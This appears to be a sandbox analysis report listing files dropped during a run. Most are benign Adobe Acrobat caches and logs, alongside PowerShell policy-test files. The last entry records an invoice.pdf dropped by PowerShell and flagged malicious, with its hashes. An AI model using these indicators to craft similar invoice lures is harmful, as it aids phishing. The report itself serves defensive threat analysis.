SSDEEP:	6:YEQXJ2HXP+ZH7+FIbRI6XVW7+0YI2KoAvJfshHHrPeUkwRe9:YvXKX2ZSYpW7T25GUUUkee9
MD5:	AEEF2A91B449C40AC6F79502895C3034
SHA1:	DCA3870A49C643D144B4C93157719070FCF12FE6
SHA-256:	EAB966405B7522B5A75279D669D098AF1C2B283BFED049C00167FB9DAC84BC15
SHA-512:	D15987D24F90AB472B7EA932B0DB8EC4DAF03F8363845A74004F004970D43B59BA54FD04E2B045374C31D8647FD42CE1963815B12FFF1198C1F4069787E2689D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80d82fad-faec-4b30-84f2-24250e322e5a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752972637,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.218451336267062
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP+ZH7+FIbRI6XVW7+0YI2KoAvJTqgFCrPeUkwRe9:YvXKX2ZSYpW7T25GTq16Ukee9
MD5:	2F93236335FAC5528FB113FC03C8A42D
SHA1:	10A87F352411D161D1B23B3308A7BD7CDFCCC03B
SHA-256:	E6D77A15B4096523DFFC11BE64840368E17959C24B557ECA3A9E930D4F627518
SHA-512:	53A0FC0C4BD4FBC26350BECD6EA924B3233C3B6F68DB883005B3986E7745A325A989E24319DC0DB313A48D0A7407258E6F8FF0A60CBC5A8042A6D462A83399A9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"80d82fad-faec-4b30-84f2-24250e322e5a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736752972637,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.134990875349016
Encrypted:	false
SSDEEP:	48:Y0pL+5Qtje3uD6ZjpOm+IUFHdrLbWHS3PFhb0Jnu3AE89fCKJ:vx+5Qtje3ueZjpsdRdrLbsWtqJu3AFfR
MD5:	6EB67D41871E192C4D1FE1887D726427
SHA1:	2C8DB20FE6D6B754B4FE6EA7452B4077B8CFF112
SHA-256:	4614CACDABEE69441BBBD77799355965EF308A7D9E925B9FB7835F91132ADBCA
SHA-512:	FFC55D9D653E0FF5EF02202A87D604ADA14A099B2EAD7DAA0F003036035AA6F9D28AA622D28029FAE911FBAA43F6DA31A0C7B94C75245DD8C5A9B2F156321421
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"62e9aca49390a30f48e508d9ceb6044f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736573871000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"ddd89a49b1c3e713ad50d74a8e54a195","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736573871000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"3a564023cd8e79cff1f0782c9a179800","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736573871000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"321af320568dbcf12d596608fb1a4707","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736573871000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b2531cb670be0f67961d2337b0907d10","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736573871000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"787e37303a7a1ca0234667614662b28b","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9856072972031362
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Sp4jxA4zJwtNBwtNbRZ6bRZ4hjxAF:TVl2GL7ms6ggOVp4jxjzutYtp6PWjxc
MD5:	55E089C161FBA934DAB897EBFDE1B8B2
SHA1:	44425DCED9145A4C36EE5FA062E56C8A0820006C
SHA-256:	A11853C47E7D41FADAC217E1428E07D21B025EF6781C58160B77F80B5165C7D1
SHA-512:	B17ECE8633D75838A0CDFEA19BE09C7BA5CC474D49A35EDC797216A04CF9E6DD5B8D82CECA27997761406BF4265B251399D0DE7D939404CBCB786D617CB4DFEA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3387870566151048
Encrypted:	false
SSDEEP:	24:7+toAD1RZKHs/Ds/Sp4jxAPzJwtNBwtNbRZ6bRZWf1RZKW/RqLBx/XYKQvGJF7u2:7MoGgOVp4jxczutYtp6PMHqll2GL7msL
MD5:	D3B933940E37DD4B03EB568EDDF1DFE5
SHA1:	F4F230F1DB157C77F4A2226AFEAE746992027697
SHA-256:	13D64BD33A7C6C25BA2FB3BE6A8E21001B1C82186211CD6316265D9F36001932
SHA-512:	70D9070B735B34055B552347EF073D110ADB4AB564D920FA8ABC83350C493E55E31A538B703C966002A1CD2522EC76F6D227558F4BA3A8157D1DF06E890B3E3F
Malicious:	false
Preview:	.... .c......=G.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEghnpLc9GjZCxUMVjzF48eJJda0lYyu:6a6TZ44ADEhnV2yZCxvEYOK
MD5:	83ED9AA9537DFD779B0D654C23F7DBC9
SHA1:	01DA9EE19A6C1E528D3E72E2519859E7373CDFEE
SHA-256:	DE45BA631D5C8449D40E4EC19F0A6908AA9078AF1D61B04B0D282A172349005E
SHA-512:	93B24601CF212BD26EEF5B409FA5DF5DA681A42F71D2AC651771ADD49D191C58C32DDD06380A2E13FB52B0D7B999C682BC68412571655374CFFB8138719BC93C
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSIfeab0.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Clzk9:Qw946cPbiOxDlbYnuRKdt9
MD5:	79FDE8756389CD3970405AF06BF10757
SHA1:	33DF286BC0AA4D5705A683F9217567C0E9211F9E
SHA-256:	CDD360D395E150D56DE90DCF54BD0808BE1353317E75B2FD5952CCADA53A681E
SHA-512:	0B5F0C896B83CBC2F67D5F30E0A420A14CB59BDC60E80107DD27E7A9B13D73CA3FB28D4A17D0921C92561E9FF89260CC8AF73666076E04F9A88A0C6AE6F90287
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.3.7.:.5.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pe14g123.hl2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vrhtd2tv.wve.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-37-48-774.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3714170185884145
Encrypted:	false
SSDEEP:	384:+lhoJ1k27T8cVK3RxLHEG0fG2lyOnmSD5Kq2gcAFG7+9XHrPn0FeByB0FDKq5EsU:B2x
MD5:	CBE76F073869CD9FCA9BA7C8A74A1B33
SHA1:	C5EB0799FB2CE7746BFCEE81E86A9A8CACE2A902
SHA-256:	52FD0B4F825665D339457E7ED2ABA4D04B16D2F3F0EF25A390BD92D80A72C7FE
SHA-512:	F074D36E023A536FF700AEB04FF0361535EEA0E0321BED6BFAAA88FE800A77B8F9252311923DCBBB73A05A4D5192094EB68E86C4CE9BDA987769909160CABF1F
Malicious:	false
Preview:	SessionID=27ce53dd-0e92-442f-b6a3-443dd152ab3b.1736573868784 Timestamp=2025-01-11T00:37:48:784-0500 ThreadID=7592 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=27ce53dd-0e92-442f-b6a3-443dd152ab3b.1736573868784 Timestamp=2025-01-11T00:37:48:787-0500 ThreadID=7592 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=27ce53dd-0e92-442f-b6a3-443dd152ab3b.1736573868784 Timestamp=2025-01-11T00:37:48:787-0500 ThreadID=7592 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=27ce53dd-0e92-442f-b6a3-443dd152ab3b.1736573868784 Timestamp=2025-01-11T00:37:48:787-0500 ThreadID=7592 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=27ce53dd-0e92-442f-b6a3-443dd152ab3b.1736573868784 Timestamp=2025-01-11T00:37:48:787-0500 ThreadID=7592 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.401661427563775
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbY:c
MD5:	E6F1F595BEF48024F1A8DEDFAED7892E
SHA1:	5F1A0B01C31FC6D644870A7A76E0149D360553D5
SHA-256:	540E9E1F5BC70C5E9BA98BD2C7FB0F12436C8C93D0E7A1F1FBB3F83A33E92202
SHA-512:	4593DC111831DF4CA56018228A9561407BBA4F90BFC445D591A05483DC16BF3E5D12FF7B2ADCF8D307A012E2EE8AA37E02BBA388E4369B0810FAEA5520787175
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\37f2e40c-ad08-478d-a1e6-020cde39e3de.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\5dab58cd-19a7-4f4a-b817-6834c3e70b9d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\634fb78c-cea1-4d26-ae2e-42080f14a7f9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8e26fddb-ea81-42f4-afbf-884111209b2a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
